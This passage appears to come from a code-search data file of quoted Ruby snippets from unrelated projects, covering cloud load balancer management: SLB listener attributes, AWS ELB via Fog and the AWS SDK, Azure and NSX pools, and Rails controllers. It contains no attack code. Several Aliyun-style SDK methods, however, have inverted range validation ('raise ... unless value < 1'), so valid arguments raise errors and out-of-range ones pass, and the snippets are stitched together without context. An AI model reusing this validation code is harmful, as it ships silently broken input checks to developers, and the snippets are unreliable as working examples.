@new_resource.f5 }\n end", "def set_load_balancer_h_t_t_p_s_listener_attribute(bandwidth, health_check, listener_port, load_balancer_id, sticky_session, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetLoadBalancerHTTPSListenerAttribute'\n\t\targs[:query]['HealthCheck'] = health_check\n\t\targs[:query]['LoadBalancerId'] = load_balancer_id\n\t\targs[:query]['StickySession'] = sticky_session\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :cookie\n\t\t\targs[:query]['Cookie'] = optional[:cookie]\n\t\tend\n\t\tif optional.key? :cookie_timeout\n\t\t\traise ArgumentError, 'cookie_timeout must be equal or greater than 1' unless optional[:cookie_timeout] < 1\n\t\t\traise ArgumentError, 'cookie_timeout must be equal or less than 86400' unless optional[:cookie_timeout] > 86400\n\t\t\targs[:query]['CookieTimeout'] = optional[:cookie_timeout]\n\t\tend\n\t\tif optional.key? :health_check_connect_port\n\t\t\traise ArgumentError, 'health_check_connect_port must be equal or greater than -520' unless optional[:health_check_connect_port] < -520\n\t\t\traise ArgumentError, 'health_check_connect_port must be equal or less than 65535' unless optional[:health_check_connect_port] > 65535\n\t\t\targs[:query]['HealthCheckConnectPort'] = optional[:health_check_connect_port]\n\t\tend\n\t\tif optional.key? :health_check_domain\n\t\t\targs[:query]['HealthCheckDomain'] = optional[:health_check_domain]\n\t\tend\n\t\tif optional.key? :health_check_http_code\n\t\t\targs[:query]['HealthCheckHttpCode'] = optional[:health_check_http_code]\n\t\tend\n\t\tif optional.key? :health_check_interval\n\t\t\traise ArgumentError, 'health_check_interval must be equal or greater than 1' unless optional[:health_check_interval] < 1\n\t\t\traise ArgumentError, 'health_check_interval must be equal or less than 5' unless optional[:health_check_interval] > 5\n\t\t\targs[:query]['HealthCheckInterval'] = optional[:health_check_interval]\n\t\tend\n\t\tif optional.key? :health_check_timeout\n\t\t\traise ArgumentError, 'health_check_timeout must be equal or greater than 1' unless optional[:health_check_timeout] < 1\n\t\t\traise ArgumentError, 'health_check_timeout must be equal or less than 50' unless optional[:health_check_timeout] > 50\n\t\t\targs[:query]['HealthCheckTimeout'] = optional[:health_check_timeout]\n\t\tend\n\t\tif optional.key? :health_check_u_r_i\n\t\t\targs[:query]['HealthCheckURI'] = optional[:health_check_u_r_i]\n\t\tend\n\t\tif optional.key? :healthy_threshold\n\t\t\traise ArgumentError, 'healthy_threshold must be equal or greater than 1' unless optional[:healthy_threshold] < 1\n\t\t\traise ArgumentError, 'healthy_threshold must be equal or less than 10' unless optional[:healthy_threshold] > 10\n\t\t\targs[:query]['HealthyThreshold'] = optional[:healthy_threshold]\n\t\tend\n\t\tif optional.key? :max_conn_limit\n\t\t\targs[:query]['MaxConnLimit'] = optional[:max_conn_limit]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tif optional.key? :scheduler\n\t\t\targs[:query]['Scheduler'] = optional[:scheduler]\n\t\tend\n\t\tif optional.key? :server_certificate_id\n\t\t\targs[:query]['ServerCertificateId'] = optional[:server_certificate_id]\n\t\tend\n\t\tif optional.key? :sticky_session_type\n\t\t\targs[:query]['StickySessionType'] = optional[:sticky_session_type]\n\t\tend\n\t\tif optional.key? :unhealthy_threshold\n\t\t\traise ArgumentError, 'unhealthy_threshold must be equal or greater than 1' unless optional[:unhealthy_threshold] < 1\n\t\t\traise ArgumentError, 'unhealthy_threshold must be equal or less than 10' unless optional[:unhealthy_threshold] > 10\n\t\t\targs[:query]['UnhealthyThreshold'] = optional[:unhealthy_threshold]\n\t\tend\n\t\tif optional.key? :x_forwarded_for\n\t\t\targs[:query]['XForwardedFor'] = optional[:x_forwarded_for]\n\t\tend\n\t\traise ArgumentError, 'bandwidth must be equal or greater than -1' unless bandwidth < -1\n\t\traise ArgumentError, 'bandwidth must be equal or less than 1000' unless bandwidth > 1000\n\t\targs[:query]['Bandwidth'] = bandwidth\n\t\traise ArgumentError, 'listener_port must be equal or greater than 1' unless listener_port < 1\n\t\traise ArgumentError, 'listener_port must be equal or less than 65535' unless listener_port > 65535\n\t\targs[:query]['ListenerPort'] = listener_port\n\t\tself.run(args)\n\tend", "def retrieve_elb(name)\n Clients.elb.describe_load_balancers(\n load_balancer_names: [name],\n ).load_balancer_descriptions[0]\nend", "def add_load_balancer(name, ports, ip_address)\n\n unless ports.is_a? Array\n ports = [ ports ]\n end\n\n if name.nil?\n name = \"lb#{RandomName.create(5,3)}\"\n end\n\n if ip_address.is_a? String\n ip_address = public_ipaddress \"#{name}-addr\" do\n dns_settings domain_name_label: ip_address\n end\n end\n\n lb = load_balancer name do\n\n if ip_address.nil?\n fics = frontend_ipconfigurations name: name + '-feconf'\n else\n fics = frontend_ipconfigurations name: name + '-feconf',\n public_ipaddress: ip_address\n end\n\n pools = backend_address_pools name: name + '-pool'\n\n ports.each do |port|\n\n p = probes name: name + \"-probe#{port}\",\n protocol: 'Tcp',\n port: port,\n number_of_probes: 2,\n interval_in_seconds: 15\n\n load_balancing_rules name: \"rule#{port}\",\n frontend_ipconfiguration: fics[0],\n backend_address_pool: pools[0],\n protocol: 'Tcp',\n frontend_port: port,\n backend_port: port,\n idle_timeout_in_minutes: 15,\n probe: p[0]\n end\n\n end\n\n end", "def create_load_balancer_pool_with_http_info(lb_pool, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesLoadbalancerApi.create_load_balancer_pool ...'\n end\n # verify the required parameter 'lb_pool' is set\n if @api_client.config.client_side_validation && lb_pool.nil?\n fail ArgumentError, \"Missing the required parameter 'lb_pool' when calling ManagementPlaneApiServicesLoadbalancerApi.create_load_balancer_pool\"\n end\n # resource path\n local_var_path = '/loadbalancer/pools'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(lb_pool)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LbPool')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesLoadbalancerApi#create_load_balancer_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def allocate_load_balancer(action_handler, lb_spec, lb_options, machine_specs)\n end", "def create name, type, attributes = {}\n\n attribute_list = []\n\n attributes.each do |attr_name,values|\n [values].flatten.each do |value|\n attribute_list << { \n :attribute_name => attr_name, \n :attribute_value => value.to_s \n }\n end\n end\n\n client.create_load_balancer_policy(\n :load_balancer_name => load_balancer.name,\n :policy_name => name.to_s,\n :policy_type_name => type.to_s,\n :policy_attributes => attribute_list)\n\n LoadBalancerPolicy.new(load_balancer, name, :type => type.to_s)\n\n end", "def add_lb(hostname)\n @@load_balancers << LoadBalancer.new(hostname, create_icontrol(hostname))\n end", "def update_health_check(elb_name, health_check)\n @elb.configure_health_check({\n load_balancer_name: elb_name,\n health_check: health_check.to_aws\n })\n end", "def set_load_balancer_t_c_p_listener_attribute(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetLoadBalancerTCPListenerAttribute'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :connect_port\n\t\t\targs[:query]['ConnectPort'] = optional[:connect_port]\n\t\tend\n\t\tif optional.key? :connect_timeout\n\t\t\targs[:query]['ConnectTimeout'] = optional[:connect_timeout]\n\t\tend\n\t\tif optional.key? :health_check\n\t\t\targs[:query]['HealthCheck'] = optional[:health_check]\n\t\tend\n\t\tif optional.key? :healthy_threshold\n\t\t\traise ArgumentError, 'healthy_threshold must be equal or greater than 1' unless optional[:healthy_threshold] < 1\n\t\t\traise ArgumentError, 'healthy_threshold must be equal or less than 10' unless optional[:healthy_threshold] > 10\n\t\t\targs[:query]['HealthyThreshold'] = optional[:healthy_threshold]\n\t\tend\n\t\tif optional.key? :host_id\n\t\t\targs[:query]['HostId'] = optional[:host_id]\n\t\tend\n\t\tif optional.key? :interval\n\t\t\targs[:query]['Interval'] = optional[:interval]\n\t\tend\n\t\tif optional.key? :listener_port\n\t\t\targs[:query]['ListenerPort'] = optional[:listener_port]\n\t\tend\n\t\tif optional.key? :load_balancer_id\n\t\t\targs[:query]['LoadBalancerId'] = optional[:load_balancer_id]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :persistence_timeout\n\t\t\targs[:query]['PersistenceTimeout'] = optional[:persistence_timeout]\n\t\tend\n\t\tif optional.key? :scheduler\n\t\t\targs[:query]['Scheduler'] = optional[:scheduler]\n\t\tend\n\t\tif optional.key? :unhealthy_threshold\n\t\t\traise ArgumentError, 'unhealthy_threshold must be equal or greater than 1' unless optional[:unhealthy_threshold] < 1\n\t\t\traise ArgumentError, 'unhealthy_threshold must be equal or less than 10' unless optional[:unhealthy_threshold] > 10\n\t\t\targs[:query]['UnhealthyThreshold'] = optional[:unhealthy_threshold]\n\t\tend\n\t\tself.run(args)\n\tend", "def set_load_balancer_t_c_p_listener_attribute(bandwidth, listener_port, load_balancer_id, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetLoadBalancerTCPListenerAttribute'\n\t\targs[:query]['LoadBalancerId'] = load_balancer_id\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :health_check_connect_port\n\t\t\traise ArgumentError, 'health_check_connect_port must be equal or greater than 1' unless optional[:health_check_connect_port] < 1\n\t\t\traise ArgumentError, 'health_check_connect_port must be equal or less than 65535' unless optional[:health_check_connect_port] > 65535\n\t\t\targs[:query]['HealthCheckConnectPort'] = optional[:health_check_connect_port]\n\t\tend\n\t\tif optional.key? :health_check_connect_timeout\n\t\t\traise ArgumentError, 'health_check_connect_timeout must be equal or greater than 1' unless optional[:health_check_connect_timeout] < 1\n\t\t\traise ArgumentError, 'health_check_connect_timeout must be equal or less than 50' unless optional[:health_check_connect_timeout] > 50\n\t\t\targs[:query]['HealthCheckConnectTimeout'] = optional[:health_check_connect_timeout]\n\t\tend\n\t\tif optional.key? :health_check_domain\n\t\t\targs[:query]['HealthCheckDomain'] = optional[:health_check_domain]\n\t\tend\n\t\tif optional.key? :health_check_http_code\n\t\t\targs[:query]['HealthCheckHttpCode'] = optional[:health_check_http_code]\n\t\tend\n\t\tif optional.key? :health_check_interval\n\t\t\traise ArgumentError, 'health_check_interval must be equal or greater than 1' unless optional[:health_check_interval] < 1\n\t\t\traise ArgumentError, 'health_check_interval must be equal or less than 5' unless optional[:health_check_interval] > 5\n\t\t\targs[:query]['HealthCheckInterval'] = optional[:health_check_interval]\n\t\tend\n\t\tif optional.key? :health_check_type\n\t\t\targs[:query]['HealthCheckType'] = optional[:health_check_type]\n\t\tend\n\t\tif optional.key? :health_check_u_r_i\n\t\t\targs[:query]['HealthCheckURI'] = optional[:health_check_u_r_i]\n\t\tend\n\t\tif optional.key? :healthy_threshold\n\t\t\traise ArgumentError, 'healthy_threshold must be equal or greater than 1' unless optional[:healthy_threshold] < 1\n\t\t\traise ArgumentError, 'healthy_threshold must be equal or less than 10' unless optional[:healthy_threshold] > 10\n\t\t\targs[:query]['HealthyThreshold'] = optional[:healthy_threshold]\n\t\tend\n\t\tif optional.key? :max_conn_limit\n\t\t\targs[:query]['MaxConnLimit'] = optional[:max_conn_limit]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :persistence_timeout\n\t\t\traise ArgumentError, 'persistence_timeout must be equal or greater than 0' unless optional[:persistence_timeout] < 0\n\t\t\traise ArgumentError, 'persistence_timeout must be equal or less than 86400' unless optional[:persistence_timeout] > 86400\n\t\t\targs[:query]['PersistenceTimeout'] = optional[:persistence_timeout]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tif optional.key? :scheduler\n\t\t\targs[:query]['Scheduler'] = optional[:scheduler]\n\t\tend\n\t\tif optional.key? :syn_proxy\n\t\t\targs[:query]['SynProxy'] = optional[:syn_proxy]\n\t\tend\n\t\tif optional.key? :unhealthy_threshold\n\t\t\traise ArgumentError, 'unhealthy_threshold must be equal or greater than 1' unless optional[:unhealthy_threshold] < 1\n\t\t\traise ArgumentError, 'unhealthy_threshold must be equal or less than 10' unless optional[:unhealthy_threshold] > 10\n\t\t\targs[:query]['UnhealthyThreshold'] = optional[:unhealthy_threshold]\n\t\tend\n\t\traise ArgumentError, 'bandwidth must be equal or greater than -1' unless bandwidth < -1\n\t\traise ArgumentError, 'bandwidth must be equal or less than 1000' unless bandwidth > 1000\n\t\targs[:query]['Bandwidth'] = bandwidth\n\t\traise ArgumentError, 'listener_port must be equal or greater than 1' unless listener_port < 1\n\t\traise ArgumentError, 'listener_port must be equal or less than 65535' unless listener_port > 65535\n\t\targs[:query]['ListenerPort'] = listener_port\n\t\tself.run(args)\n\tend", "def ready_load_balancer(action_handler, lb_spec, lb_options, machine_specs)\n end", "def attach_to_elb(instance, elb_name, subnet = nil)\n begin\n @log.info \"\"\n @log.info \"Adding to ELB: #{elb_name}\"\n elb = AWS::ELB.new\n AWS.memoize do\n unless subnet\n # Build list of availability zones for any existing instances\n zones = { }\n zones[instance.availability_zone] = instance.availability_zone\n elb.load_balancers[elb_name].instances.each do |elb_instance|\n zones[elb_instance.availability_zone] = elb_instance.availability_zone\n end\n \n # Build list of existing zones\n existing_zones = { }\n elb.load_balancers[elb_name].availability_zones.each do |zone|\n existing_zones[zone.name] = zone\n end\n \n # Enable zones\n zones.keys.each do |zone_name|\n elb.load_balancers[elb_name].availability_zones.enable(zones[zone_name])\n end\n \n # Disable zones\n existing_zones.keys.each do |zone_name|\n elb.load_balancers[elb_name].availability_zones.disable(existing_zones[zone_name]) unless zones.has_key?(zone_name)\n end\n end\n \n elb.load_balancers[elb_name].instances.register(instance)\n end\n rescue StandardError => bang\n @log.error \"Error adding to load balancers: \" + bang.to_s\n end\n end", "def set_load_balancer_listener_status(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetLoadBalancerListenerStatus'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :host_id\n\t\t\targs[:query]['HostId'] = optional[:host_id]\n\t\tend\n\t\tif optional.key? :listener_port\n\t\t\targs[:query]['ListenerPort'] = optional[:listener_port]\n\t\tend\n\t\tif optional.key? :listener_status\n\t\t\targs[:query]['ListenerStatus'] = optional[:listener_status]\n\t\tend\n\t\tif optional.key? :load_balancer_id\n\t\t\targs[:query]['LoadBalancerId'] = optional[:load_balancer_id]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tself.run(args)\n\tend", "def set_load_balancer_status(load_balancer_id, load_balancer_status, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetLoadBalancerStatus'\n\t\targs[:query]['LoadBalancerId'] = load_balancer_id\n\t\targs[:query]['LoadBalancerStatus'] = load_balancer_status\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tself.run(args)\n\tend", "def set_load_balancer_h_t_t_p_listener_attribute(bandwidth, health_check, listener_port, load_balancer_id, sticky_session, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetLoadBalancerHTTPListenerAttribute'\n\t\targs[:query]['HealthCheck'] = health_check\n\t\targs[:query]['LoadBalancerId'] = load_balancer_id\n\t\targs[:query]['StickySession'] = sticky_session\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :cookie\n\t\t\targs[:query]['Cookie'] = optional[:cookie]\n\t\tend\n\t\tif optional.key? :cookie_timeout\n\t\t\traise ArgumentError, 'cookie_timeout must be equal or greater than 1' unless optional[:cookie_timeout] < 1\n\t\t\traise ArgumentError, 'cookie_timeout must be equal or less than 86400' unless optional[:cookie_timeout] > 86400\n\t\t\targs[:query]['CookieTimeout'] = optional[:cookie_timeout]\n\t\tend\n\t\tif optional.key? :health_check_connect_port\n\t\t\traise ArgumentError, 'health_check_connect_port must be equal or greater than -520' unless optional[:health_check_connect_port] < -520\n\t\t\traise ArgumentError, 'health_check_connect_port must be equal or less than 65535' unless optional[:health_check_connect_port] > 65535\n\t\t\targs[:query]['HealthCheckConnectPort'] = optional[:health_check_connect_port]\n\t\tend\n\t\tif optional.key? :health_check_domain\n\t\t\targs[:query]['HealthCheckDomain'] = optional[:health_check_domain]\n\t\tend\n\t\tif optional.key? :health_check_http_code\n\t\t\targs[:query]['HealthCheckHttpCode'] = optional[:health_check_http_code]\n\t\tend\n\t\tif optional.key? :health_check_interval\n\t\t\traise ArgumentError, 'health_check_interval must be equal or greater than 1' unless optional[:health_check_interval] < 1\n\t\t\traise ArgumentError, 'health_check_interval must be equal or less than 5' unless optional[:health_check_interval] > 5\n\t\t\targs[:query]['HealthCheckInterval'] = optional[:health_check_interval]\n\t\tend\n\t\tif optional.key? :health_check_timeout\n\t\t\traise ArgumentError, 'health_check_timeout must be equal or greater than 1' unless optional[:health_check_timeout] < 1\n\t\t\traise ArgumentError, 'health_check_timeout must be equal or less than 50' unless optional[:health_check_timeout] > 50\n\t\t\targs[:query]['HealthCheckTimeout'] = optional[:health_check_timeout]\n\t\tend\n\t\tif optional.key? :health_check_u_r_i\n\t\t\targs[:query]['HealthCheckURI'] = optional[:health_check_u_r_i]\n\t\tend\n\t\tif optional.key? :healthy_threshold\n\t\t\traise ArgumentError, 'healthy_threshold must be equal or greater than 1' unless optional[:healthy_threshold] < 1\n\t\t\traise ArgumentError, 'healthy_threshold must be equal or less than 10' unless optional[:healthy_threshold] > 10\n\t\t\targs[:query]['HealthyThreshold'] = optional[:healthy_threshold]\n\t\tend\n\t\tif optional.key? :max_conn_limit\n\t\t\targs[:query]['MaxConnLimit'] = optional[:max_conn_limit]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tif optional.key? :scheduler\n\t\t\targs[:query]['Scheduler'] = optional[:scheduler]\n\t\tend\n\t\tif optional.key? :sticky_session_type\n\t\t\targs[:query]['StickySessionType'] = optional[:sticky_session_type]\n\t\tend\n\t\tif optional.key? :unhealthy_threshold\n\t\t\traise ArgumentError, 'unhealthy_threshold must be equal or greater than 1' unless optional[:unhealthy_threshold] < 1\n\t\t\traise ArgumentError, 'unhealthy_threshold must be equal or less than 10' unless optional[:unhealthy_threshold] > 10\n\t\t\targs[:query]['UnhealthyThreshold'] = optional[:unhealthy_threshold]\n\t\tend\n\t\tif optional.key? :x_forwarded_for\n\t\t\targs[:query]['XForwardedFor'] = optional[:x_forwarded_for]\n\t\tend\n\t\traise ArgumentError, 'bandwidth must be equal or greater than -1' unless bandwidth < -1\n\t\traise ArgumentError, 'bandwidth must be equal or less than 1000' unless bandwidth > 1000\n\t\targs[:query]['Bandwidth'] = bandwidth\n\t\traise ArgumentError, 'listener_port must be equal or greater than 1' unless listener_port < 1\n\t\traise ArgumentError, 'listener_port must be equal or less than 65535' unless listener_port > 65535\n\t\targs[:query]['ListenerPort'] = listener_port\n\t\tself.run(args)\n\tend", "def list_configs(lb_id, headers = {})\n get!(\"loadbalancers/#{lb_id}/configs\", {}, headers)\n end", "def update\n @lb_pool = @object\n respond_to do |format|\n if @lb_pool.update_attributes(params[:lb_pool])\n flash[:notice] = 'Load Balancer Service Pool was successfully updated.'\n format.html { redirect_to lb_pool_url(@lb_pool) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lb_pool.errors.to_xml, :status => :unprocessable_entity }\n end\n end\n end", "def set_load_balancer_listener_ssl_certificate(lb_name, load_balancer_port, ssl_certificate_id)\n request({\n 'Action' => 'SetLoadBalancerListenerSSLCertificate',\n 'LoadBalancerName' => lb_name,\n 'LoadBalancerPort' => load_balancer_port,\n 'SSLCertificateId' => ssl_certificate_id,\n :parser => Fog::Parsers::AWS::ELB::Empty.new\n })\n end", "def get_loadbalancer(name=resource[:load_balancer])\n get_cloud_connection()\n args = []\n\n args << @connection_resource[:user]\n args << @connection_resource[:pass]\n args << @connection_resource[:location] if @connection_resource[:location]\n\n @loadbalancer_connection = Puppet::Type::Loadbalancer::ProviderElb.connection(*args)\n\n load_balancer = @loadbalancer_connection.load_balancers.find {|lb|\n lb.id == name\n }\n end", "def balancer_all(options = {})\n load_balancer_data\n end", "def update\n @loadbalancer = Loadbalancer.find(params[:id])\n checkaccountobject(\"loadbalancers\",@loadbalancer)\n respond_to do |format|\n if @loadbalancer.update_attributes(params[:loadbalancer])\n format.html { redirect_to @loadbalancer, notice: 'Loadbalancer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @loadbalancer.errors, status: :unprocessable_entity }\n end\n end\n end", "def balancer_reload(balancer)\n if balancer.persisted?\n begin\n load_balancer_data(balancer)\n rescue Miasma::Error::ApiError::RequestError => e\n if e.response_error_msg.include?(\"LoadBalancerNotFound\")\n balancer.state = :terminated\n balancer.status = \"terminated\"\n balancer.valid_state\n else\n raise\n end\n end\n end\n balancer\n end", "def load_balancer_data(balancer = nil)\n params = Smash.new(\"Action\" => \"DescribeLoadBalancers\")\n if balancer\n params[\"LoadBalancerNames.member.1\"] = balancer.id || balancer.name\n end\n result = all_result_pages(nil, :body,\n \"DescribeLoadBalancersResponse\", \"DescribeLoadBalancersResult\",\n \"LoadBalancerDescriptions\", \"member\") do |options|\n request(\n :method => :post,\n :path => \"/\",\n :form => options.merge(params),\n )\n end\n if balancer\n health_result = all_result_pages(nil, :body,\n \"DescribeInstanceHealthResponse\", \"DescribeInstanceHealthResult\",\n \"InstanceStates\", \"member\") do |options|\n request(\n :method => :post,\n :path => \"/\",\n :form => options.merge(\n \"LoadBalancerName\" => balancer.id || balancer.name,\n \"Action\" => \"DescribeInstanceHealth\",\n ),\n )\n end\n end\n result.map do |blr|\n (balancer || Balancer.new(self)).load_data(\n Smash.new(\n :id => blr[\"LoadBalancerName\"],\n :name => blr[\"LoadBalancerName\"],\n :state => :active,\n :status => \"ACTIVE\",\n :created => blr[\"CreatedTime\"],\n :updated => blr[\"CreatedTime\"],\n :public_addresses => [\n Balancer::Address.new(\n :address => blr[\"DNSName\"],\n :version => 4,\n ),\n ],\n :servers => [blr.get(\"Instances\", \"member\")].flatten(1).compact.map { |i|\n Balancer::Server.new(self.api_for(:compute), :id => i[\"InstanceId\"])\n },\n ).merge(\n health_result.nil? ? {} : Smash.new(\n :server_states => health_result.nil? ? nil : health_result.map { |i|\n Balancer::ServerState.new(\n self.api_for(:compute),\n :id => i[\"InstanceId\"],\n :status => i[\"State\"],\n :reason => i[\"ReasonCode\"],\n :state => i[\"State\"] == \"InService\" ? :up : :down,\n )\n },\n )\n )\n ).valid_state\n end\n end", "def create_load_balancer(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'CreateLoadBalancer'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :address\n\t\t\targs[:query]['Address'] = optional[:address]\n\t\tend\n\t\tif optional.key? :client_token\n\t\t\targs[:query]['ClientToken'] = optional[:client_token]\n\t\tend\n\t\tif optional.key? :is_public_address\n\t\t\targs[:query]['IsPublicAddress'] = optional[:is_public_address]\n\t\tend\n\t\tif optional.key? :load_balancer_mode\n\t\t\targs[:query]['LoadBalancerMode'] = optional[:load_balancer_mode]\n\t\tend\n\t\tif optional.key? :load_balancer_name\n\t\t\targs[:query]['LoadBalancerName'] = optional[:load_balancer_name]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tself.run(args)\n\tend", "def attach_load_balancer_to_subnets(subnet_ids, lb_name)\n params = Fog::AWS.indexed_param('Subnets.member', [*subnet_ids])\n request({\n 'Action' => 'AttachLoadBalancerToSubnets',\n 'LoadBalancerName' => lb_name,\n :parser => Fog::Parsers::AWS::ELB::AttachLoadBalancerToSubnets.new\n }.merge!(params))\n end", "def set_cabinet_balancer\n @cabinet_balancer = Balancer.find(params[:id])\n end", "def set_load_balancer_h_t_t_p_listener_attribute(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetLoadBalancerHTTPListenerAttribute'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be 